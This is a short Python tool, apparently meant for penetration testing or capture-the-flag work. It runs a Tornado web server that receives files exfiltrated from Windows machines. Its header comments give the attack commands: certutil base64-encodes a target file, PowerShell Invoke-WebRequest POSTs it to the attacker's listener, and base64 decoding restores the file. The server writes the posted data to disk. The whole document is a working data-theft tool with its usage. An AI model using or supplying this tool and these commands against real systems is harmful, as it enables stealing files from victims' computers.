certutilpostreciver.py

#!/usr/bin/env python

# Exfiltrate a file from Windows Powershell over HTTP Post using certutil for 
# Base64 conversion to avoid broken file due to text based post transmission.
#
# Requires
# pip install tornado

# Sample usage (exfiltrate flag.docx)
# python certutilpostreciver.py
# certutil -encode flag.docx ([System.IO.Path]::GetTempPath()+"b64.txt)"
# Invoke-WebRequest -Uri http://fqdn:port -Method POST -Body (Get-Content([System.IO.Path]::GetTempPath()+"b64.txt"))
# cat output64.txt | base64 -d > flag.docx

import tornado.ioloop
import tornado.web
import pprint

class CertUtilPostHandler(tornado.web.RequestHandler):
    def initialize(self, filename, verbose):
        self.filename = filename
        self.verbose = verbose

    def post(self):

        pprint.pprint(self.request)
        if self.verbose:
            pprint.pprint(self.request.body)

        with open(self.filename, "wb") as f:
            for line in self.request.body.split(" "):
                if "-----BEGIN" in line:
                    continue
                if "-----END" in line:
                    continue
                if "CERTIFICATE-----" in line:
                    continue

                f.write("{}\n".format(line))


def main():
    filename = "output64.txt"
    port = 4711
    verbose = False

    application = tornado.web.Application([(r"/.*", CertUtilPostHandler,
        dict(filename=filename, verbose=verbose)), ])
    application.listen(port)
    tornado.ioloop.IOLoop.instance().start()

if __name__ == "__main__":
    main()

# EOF